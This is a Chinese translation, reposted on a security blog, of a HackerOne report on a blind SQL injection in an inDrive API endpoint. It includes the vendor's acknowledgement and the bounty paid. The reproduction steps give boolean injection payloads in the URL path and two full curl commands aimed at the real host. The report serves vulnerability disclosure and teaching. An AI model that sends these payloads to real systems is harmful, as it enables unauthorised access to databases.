【翻译】id.indrive.com上的SQL盲注(029)

admin 2023年12月18日01:26:32评论36 views字数 2284阅读7分36秒阅读模式

标题:Blind SQL injection on id.indrive.com

作者:kristoferent

原文地址:https://hackerone.com/reports/2051931

在id.indrive.com上发现了一个SQL盲注,允许攻击者通过使用条件响应从数据库检索信息。

概述:

服务器未对用户输入进行清洗,允许攻击者将任意SQL命令注入查询中。

复现步骤:

  1. 访问

    https://promo.indrive.com/10ridestogetprize_ru/random
  2. 点击“Сгенерировать”。将会向发出请求:

    https://id.indrive.com/api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/29/5/phone
  3. 重复这个请求,但是将路径更改为:

    将会返回数据库中的一个随机条目:

    /api/ten-drives/custom-winners/ten_drive_kz_second_weeks/number_trips/1/999%20or%201=1--
  4. 将查询的路径更改为:

    /api/ten-drives/custom-winners/ten_drive_kz_second_week    s/number_trips/1/999%20or%201=2--

    服务器的响应将为空。

    两个请求的curl格式

    curl -i -s -k -X $'GET' 
        -H $'Host: id.indrive.com' -H $'User-Agent: Mozill    a/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firef    ox/102.0' -H $'Accept: application/json, text/plain, */    *' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Enc    oding: gzip, deflate' -H $'Origin: https://promo.indriv    e.com' -H $'Referer: https://promo.indrive.com/' -H $'Se    c-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec    -Fetch-Site: same-site' -H $'Te: trailers' -H $'Connecti    on: close' 
        $'https://id.indrive.com/api/ten-drives/custom-winn    ers/ten_drive_kz_second_weeks/number_trips/1/999%20or%20    1=1--'
    curl -i -s -k -X $'GET' 
        -H $'Host: id.indrive.com' -H $'User-Agent: Mozill    a/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firef    ox/102.0' -H $'Accept: application/json, text/plain, */    *' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Enc    oding: gzip, deflate' -H $'Origin: https://promo.indriv    e.com' -H $'Referer: https://promo.indrive.com/' -H $'Se    c-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec    -Fetch-Site: same-site' -H $'Te: trailers' -H $'Connecti    on: close' 
        $'https://id.indrive.com/api/ten-drives/custom-winn    ers/ten_drive_kz_second_weeks/number_trips/1/999%20or%20    1=2--'

影响:

此漏洞允许攻击者将任何SQL语句注入到查询中。例如,我能够检索到SQL版本:PostgreSQL 14.8(Ubuntu 14.8-0ubuntu0.22.04.1)

官方反馈:

感谢您向inDrive报告此问题!我们感谢您花费时间帮助我们使我们的网络服务更加安全。您的报告已经经过初步审核,并已分配给安全工程师。安全工程师只有在复现漏洞时有任何问题或需要您提供额外信息时才会与您联系。他将负责修补流程。一旦漏洞完全修复,此报告将转为“已解决”状态,可能需要一些时间。悬赏决定将在几周内做出。

inDrive已经奖励kristoferent 134。

每周一9点发布精选内容。

每周三9点发布翻译内容。

更多安全资讯,请关注微信公众号:安全虫。


每周坚持学习与分享,觉得文章对你有帮助可在底部给点个“在看”。



原文始发于微信公众号(安全虫):【翻译】id.indrive.com上的SQL盲注(029)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日01:26:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】id.indrive.com上的SQL盲注(029)https://cn-sec.com/archives/2303397.html

发表评论

匿名网友 填写信息